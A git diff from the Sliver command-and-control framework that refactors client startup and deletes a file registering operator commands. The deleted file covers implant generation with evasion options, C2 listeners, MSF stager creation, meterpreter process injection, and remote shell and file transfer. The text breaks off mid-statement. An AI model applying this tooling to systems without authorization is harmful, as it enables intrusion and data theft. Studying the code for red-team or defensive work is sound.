diff --git a/client/cli/cli.go b/client/cli/cli.go index e482bde740..834df5cad2 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -25,7 +25,9 @@ import ( "path" "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" @@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{ defer logFile.Close() os.Args = os.Args[:1] // Stops grumble from complaining - err := console.StartClientConsole() + err := StartClientConsole() if err != nil { fmt.Printf("[!] %s\n", err) } }, } +// StartClientConsole - Start the client console +func StartClientConsole() error { + configs := assets.GetConfigs() + if len(configs) == 0 { + fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir()) + return nil + } + config := selectConfig() + if config == nil { + return nil + } + + fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) + rpc, ln, err := transport.MTLSConnect(config) + if err != nil { + fmt.Printf("Connection to server failed %v", err) + return nil + } + defer ln.Close() + return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false) +} + // Execute - Execute root command func Execute() { if err := rootCmd.Execute(); err != nil { diff --git a/client/console/console-cfg.go b/client/cli/config.go similarity index 98% rename from client/console/console-cfg.go rename to client/cli/config.go index 561ad9d998..ef4c5b8be4 100644 --- a/client/console/console-cfg.go +++ b/client/cli/config.go @@ -1,4 +1,4 @@ -package console +package cli /* Sliver Implant Framework diff --git a/client/command/bind-commands.go b/client/command/bind-commands.go deleted file mode 100644 index 7e6d23e9e7..0000000000 --- a/client/command/bind-commands.go +++ /dev/null @@ -1,2001 +0,0 @@ -package command - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - - --- - This file contains all of the code that binds a given string/flags/etc. to a - command implementation function. - - Guidelines when adding a command: - - * Try to reuse the same short/long flags for the same paramenter, - e.g. "timeout" flags should always be -t and --timeout when possible. - Try to avoid creating flags that conflict with others even if you're - not using the flag, e.g. avoid using -t even if your command doesn't - have a --timeout. - - * Add a long-form help template to `client/help` - -*/ - -import ( - "fmt" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/help" - "github.com/bishopfox/sliver/client/licenses" - "github.com/bishopfox/sliver/protobuf/rpcpb" - - "github.com/desertbit/grumble" -) - -const ( - defaultMTLSLPort = 8888 - defaultWGLPort = 53 - defaultWGNPort = 8888 - defaultWGKeyExPort = 1337 - defaultHTTPLPort = 80 - defaultHTTPSLPort = 443 - defaultDNSLPort = 53 - defaultTCPPivotPort = 9898 - - defaultReconnect = 60 - defaultPoll = 1 - defaultMaxErrors = 1000 - - defaultTimeout = 60 -) - -// BindCommands - Bind commands to a App -func BindCommands(app *grumble.App, rpc rpcpb.SliverRPCClient) { - - app.SetPrintHelp(helpCmd) // Responsible for display long-form help templates, etc. - - app.AddCommand(&grumble.Command{ - Name: consts.UpdateStr, - Help: "Check for updates", - LongHelp: help.GetHelpFor([]string{consts.UpdateStr}), - Flags: func(f *grumble.Flags) { - f.Bool("P", "prereleases", false, "include pre-released (unstable) versions") - f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)") - f.String("s", "save", "", "save downloaded files to specific directory (default user home dir)") - f.Bool("I", "insecure", false, "skip tls certificate validation") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - updates(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.VersionStr, - Help: "Display version information", - LongHelp: help.GetHelpFor([]string{consts.VersionStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - verboseVersions(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - // [ Jobs ] ----------------------------------------------------------------- - app.AddCommand(&grumble.Command{ - Name: consts.JobsStr, - Help: "Job control", - LongHelp: help.GetHelpFor([]string{consts.JobsStr}), - Flags: func(f *grumble.Flags) { - f.Int("k", "kill", -1, "kill a background job") - f.Bool("K", "kill-all", false, "kill all jobs") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - jobs(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MtlsStr, - Help: "Start an mTLS listener", - LongHelp: help.GetHelpFor([]string{consts.MtlsStr}), - Flags: func(f *grumble.Flags) { - f.String("s", "server", "", "interface to bind server to") - f.Int("l", "lport", defaultMTLSLPort, "tcp listen port") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("p", "persistent", false, "make persistent across restarts") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - startMTLSListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.WGStr, - Help: "Start a WireGuard listener", - LongHelp: help.GetHelpFor([]string{consts.WGStr}), - Flags: func(f *grumble.Flags) { - f.Int("l", "lport", defaultWGLPort, "udp listen port") - f.Int("n", "nport", defaultWGNPort, "virtual tun interface listen port") - f.Int("x", "key-port", defaultWGKeyExPort, "virtual tun inteface key exchange port") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("p", "persistent", false, "make persistent across restarts") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - startWGListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.DnsStr, - Help: "Start a DNS listener", - LongHelp: help.GetHelpFor([]string{consts.DnsStr}), - Flags: func(f *grumble.Flags) { - f.String("d", "domains", "", "parent domain(s) to use for DNS c2") - f.Bool("c", "no-canaries", false, "disable dns canary detection") - f.Int("l", "lport", defaultDNSLPort, "udp listen port") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("p", "persistent", false, "make persistent across restarts") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - startDNSListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.HttpStr, - Help: "Start an HTTP listener", - LongHelp: help.GetHelpFor([]string{consts.HttpStr}), - Flags: func(f *grumble.Flags) { - f.String("d", "domain", "", "limit responses to specific domain") - f.String("w", "website", "", "website name (see websites cmd)") - f.Int("l", "lport", defaultHTTPLPort, "tcp listen port") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("p", "persistent", false, "make persistent across restarts") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - startHTTPListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.HttpsStr, - Help: "Start an HTTPS listener", - LongHelp: help.GetHelpFor([]string{consts.HttpsStr}), - Flags: func(f *grumble.Flags) { - f.String("d", "domain", "", "limit responses to specific domain") - f.String("w", "website", "", "website name (see websites cmd)") - f.Int("l", "lport", defaultHTTPSLPort, "tcp listen port") - - f.String("c", "cert", "", "PEM encoded certificate file") - f.String("k", "key", "", "PEM encoded private key file") - - f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("p", "persistent", false, "make persistent across restarts") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - startHTTPSListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.PlayersStr, - Help: "List operators", - LongHelp: help.GetHelpFor([]string{consts.PlayersStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - operatorsCmd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.MultiplayerHelpGroup, - }) - - // [ Commands ] -------------------------------------------------------------- - - app.AddCommand(&grumble.Command{ - Name: consts.SessionsStr, - Help: "Session management", - LongHelp: help.GetHelpFor([]string{consts.SessionsStr}), - Flags: func(f *grumble.Flags) { - f.String("i", "interact", "", "interact with a sliver") - f.String("k", "kill", "", "Kill the designated session") - f.Bool("K", "kill-all", false, "Kill all the sessions") - f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - sessions(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.BackgroundStr, - Help: "Background an active session", - LongHelp: help.GetHelpFor([]string{consts.BackgroundStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - background(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.KillStr, - Help: "Kill a session", - LongHelp: help.GetHelpFor([]string{consts.KillStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - kill(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Bool("f", "force", false, "Force kill, does not clean up") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.InfoStr, - Help: "Get info about session", - LongHelp: help.GetHelpFor([]string{consts.InfoStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("session", "session ID", grumble.Default("")) - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - info(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.UseStr, - Help: "Switch the active session", - LongHelp: help.GetHelpFor([]string{consts.UseStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("session", "session ID") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - use(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ShellStr, - Help: "Start an interactive shell", - LongHelp: help.GetHelpFor([]string{consts.ShellStr}), - Flags: func(f *grumble.Flags) { - f.Bool("y", "no-pty", false, "disable use of pty on macos/linux") - f.String("s", "shell-path", "", "path to shell interpreter") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - shell(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ExecuteStr, - Help: "Execute a program on the remote system", - LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}), - Flags: func(f *grumble.Flags) { - f.Bool("T", "token", false, "execute command with current token (windows only)") - f.Bool("s", "silent", false, "don't print the command output") - f.Bool("X", "loot", false, "save output as loot") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("command", "command to execute") - a.StringList("arguments", "arguments to the command") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - execute(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - generateCmd := &grumble.Command{ - Name: consts.GenerateStr, - Help: "Generate an implant binary", - LongHelp: help.GetHelpFor([]string{consts.GenerateStr}), - Flags: func(f *grumble.Flags) { - f.String("o", "os", "windows", "operating system") - f.String("a", "arch", "amd64", "cpu architecture") - f.String("N", "name", "", "agent name") - f.Bool("d", "debug", false, "enable debug features") - f.Bool("e", "evasion", false, "enable evasion features") - f.Bool("b", "skip-symbols", false, "skip symbol obfuscation") - - f.String("c", "canary", "", "canary domain(s)") - - f.String("m", "mtls", "", "mtls connection strings") - f.String("g", "wg", "", "wg connection strings") - f.String("H", "http", "", "http(s) connection strings") - f.String("n", "dns", "", "dns connection strings") - f.String("p", "named-pipe", "", "named-pipe connection strings") - f.String("i", "tcp-pivot", "", "tcp-pivot connection strings") - - f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port") - f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port") - - f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)") - f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)") - f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors") - - f.String("w", "limit-datetime", "", "limit execution to before datetime") - f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines") - f.String("y", "limit-username", "", "limit execution to specified username") - f.String("z", "limit-hostname", "", "limit execution to specified hostname") - f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem") - - f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)") - - f.String("s", "save", "", "directory/file to the binary to") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - generate(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - } - generateCmd.AddCommand(&grumble.Command{ - Name: consts.StagerStr, - Help: "Generate a implant stager using MSF", - LongHelp: help.GetHelpFor([]string{consts.StagerStr}), - Flags: func(f *grumble.Flags) { - f.String("o", "os", "windows", "operating system") - f.String("a", "arch", "amd64", "cpu architecture") - f.String("l", "lhost", "", "Listening host") - f.Int("p", "lport", 8443, "Listening port") - f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)") - f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)") - f.String("b", "badchars", "", "bytes to exclude from stage shellcode") - f.String("s", "save", "", "directory to save the generated stager to") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - generateStager(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - generateCmd.AddCommand(&grumble.Command{ - Name: consts.CompilerStr, - Help: "Get information about the server's compiler", - LongHelp: help.GetHelpFor([]string{consts.CompilerStr}), - Flags: func(f *grumble.Flags) { - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - generateCompilerInfo(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - app.AddCommand(generateCmd) - - app.AddCommand(&grumble.Command{ - Name: consts.StageListenerStr, - Help: "Start a stager listener", - LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}), - Flags: func(f *grumble.Flags) { - f.String("p", "profile", "", "Implant profile to link with the listener") - f.String("u", "url", "", "URL to which the stager will call back to") - f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)") - f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)") - f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - stageListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.RegenerateStr, - Help: "Regenerate an implant", - LongHelp: help.GetHelpFor([]string{consts.RegenerateStr}), - Args: func(a *grumble.Args) { - a.String("implant-name", "name of the implant") - }, - Flags: func(f *grumble.Flags) { - f.String("s", "save", "", "directory/file to the binary to") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - regenerate(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - profilesCmd := &grumble.Command{ - Name: consts.ProfilesStr, - Help: "List existing profiles", - LongHelp: help.GetHelpFor([]string{consts.ProfilesStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - profiles(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - } - profilesCmd.AddCommand(&grumble.Command{ - Name: consts.GenerateStr, - Help: "Generate implant from a profile", - LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), - Flags: func(f *grumble.Flags) { - f.String("p", "name", "", "profile name") - f.String("s", "save", "", "directory/file to the binary to") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - profileGenerate(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - profilesCmd.AddCommand(&grumble.Command{ - Name: consts.NewStr, - Help: "Save a new implant profile", - LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), - Flags: func(f *grumble.Flags) { - f.String("o", "os", "windows", "operating system") - f.String("a", "arch", "amd64", "cpu architecture") - f.Bool("d", "debug", false, "enable debug features") - f.Bool("e", "evasion", false, "enable evasion features") - f.Bool("s", "skip-symbols", false, "skip symbol obfuscation") - - f.String("m", "mtls", "", "mtls domain(s)") - f.String("g", "wg", "", "wg domain(s)") - f.String("H", "http", "", "http[s] domain(s)") - f.String("n", "dns", "", "dns domain(s)") - f.String("p", "named-pipe", "", "named-pipe connection strings") - f.String("i", "tcp-pivot", "", "tcp-pivot connection strings") - - f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port") - f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port") - - f.String("c", "canary", "", "canary domain(s)") - - f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)") - f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors") - f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)") - - f.String("w", "limit-datetime", "", "limit execution to before datetime") - f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines") - f.String("y", "limit-username", "", "limit execution to specified username") - f.String("z", "limit-hostname", "", "limit execution to specified hostname") - f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem") - - f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)") - - f.String("N", "profile-name", "", "profile name") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - newProfile(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - profilesCmd.AddCommand(&grumble.Command{ - Name: consts.RmStr, - Help: "Remove a profile", - LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("profile-name", "name of the profile") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - rmProfile(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - app.AddCommand(profilesCmd) - - implantBuildsCmd := &grumble.Command{ - Name: consts.ImplantBuildsStr, - Help: "List implant builds", - LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - listImplantBuilds(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - } - implantBuildsCmd.AddCommand(&grumble.Command{ - Name: consts.RmStr, - Help: "Remove implant build", - LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("implant-name", "implant name") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - rmImplantBuild(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - app.AddCommand(implantBuildsCmd) - - app.AddCommand(&grumble.Command{ - Name: consts.ListCanariesStr, - Help: "List previously generated canaries", - LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}), - Flags: func(f *grumble.Flags) { - f.Bool("b", "burned", false, "show only triggered/burned canaries") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - canaries(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MsfStr, - Help: "Execute an MSF payload in the current process", - LongHelp: help.GetHelpFor([]string{consts.MsfStr}), - Flags: func(f *grumble.Flags) { - f.String("m", "payload", "meterpreter_reverse_https", "msf payload") - f.String("o", "lhost", "", "listen host") - f.Int("l", "lport", 4444, "listen port") - f.String("e", "encoder", "", "msf encoder") - f.Int("i", "iterations", 1, "iterations of the encoder") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - msf(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MsfInjectStr, - Help: "Inject an MSF payload into a process", - LongHelp: help.GetHelpFor([]string{consts.MsfInjectStr}), - Flags: func(f *grumble.Flags) { - f.Int("p", "pid", -1, "pid to inject into") - f.String("m", "payload", "meterpreter_reverse_https", "msf payload") - f.String("o", "lhost", "", "listen host") - f.Int("l", "lport", 4444, "listen port") - f.String("e", "encoder", "", "msf encoder") - f.Int("i", "iterations", 1, "iterations of the encoder") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - msfInject(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - // [ Session Commands ] --------------------------------------------- - - app.AddCommand(&grumble.Command{ - Name: consts.PsStr, - Help: "List remote processes", - LongHelp: help.GetHelpFor([]string{consts.PsStr}), - Flags: func(f *grumble.Flags) { - f.Int("p", "pid", -1, "filter based on pid") - f.String("e", "exe", "", "filter based on executable name") - f.String("o", "owner", "", "filter based on owner") - f.Bool("c", "print-cmdline", false, "print command line arguments") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - ps(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.PingStr, - Help: "Send round trip message to implant (does not use ICMP)", - LongHelp: help.GetHelpFor([]string{consts.PingStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - ping(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.GetPIDStr, - Help: "Get session pid", - LongHelp: help.GetHelpFor([]string{consts.GetPIDStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getPID(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.GetUIDStr, - Help: "Get session process UID", - LongHelp: help.GetHelpFor([]string{consts.GetUIDStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getUID(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.GetGIDStr, - Help: "Get session process GID", - LongHelp: help.GetHelpFor([]string{consts.GetGIDStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getGID(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.WhoamiStr, - Help: "Get session user execution context", - LongHelp: help.GetHelpFor([]string{consts.WhoamiStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - whoami(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.LsStr, - Help: "List current directory", - LongHelp: help.GetHelpFor([]string{consts.LsStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("path", "path to enumerate", grumble.Default(".")) - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - ls(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.RmStr, - Help: "Remove a file or directory", - LongHelp: help.GetHelpFor([]string{consts.RmStr}), - Flags: func(f *grumble.Flags) { - f.Bool("r", "recursive", false, "recursively remove files") - f.Bool("f", "force", false, "ignore safety and forcefully remove files") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("path", "path to the file to remove") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - rm(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MkdirStr, - Help: "Make a directory", - LongHelp: help.GetHelpFor([]string{consts.MkdirStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("path", "path to the directory to create") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - mkdir(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.CdStr, - Help: "Change directory", - LongHelp: help.GetHelpFor([]string{consts.CdStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("path", "path to the directory", grumble.Default(".")) - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - cd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.PwdStr, - Help: "Print working directory", - LongHelp: help.GetHelpFor([]string{consts.PwdStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - pwd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.CatStr, - Help: "Dump file to stdout", - LongHelp: help.GetHelpFor([]string{consts.CatStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("c", "colorize-output", false, "colorize output") - f.Bool("X", "loot", false, "save output as loot") - }, - Args: func(a *grumble.Args) { - a.String("path", "path to the file to print") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - cat(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.DownloadStr, - Help: "Download a file", - LongHelp: help.GetHelpFor([]string{consts.DownloadStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - - f.Bool("X", "loot", false, "save output as loot") - }, - Args: func(a *grumble.Args) { - a.String("remote-path", "path to the file or directory to download") - a.String("local-path", "local path where the downloaded file will be saved", grumble.Default(".")) - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - download(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.UploadStr, - Help: "Upload a file", - LongHelp: help.GetHelpFor([]string{consts.UploadStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("local-path", "local path to the file to upload") - a.String("remote-path", "path to the file or directory to upload to", grumble.Default("")) - }, - Run: func(ctx 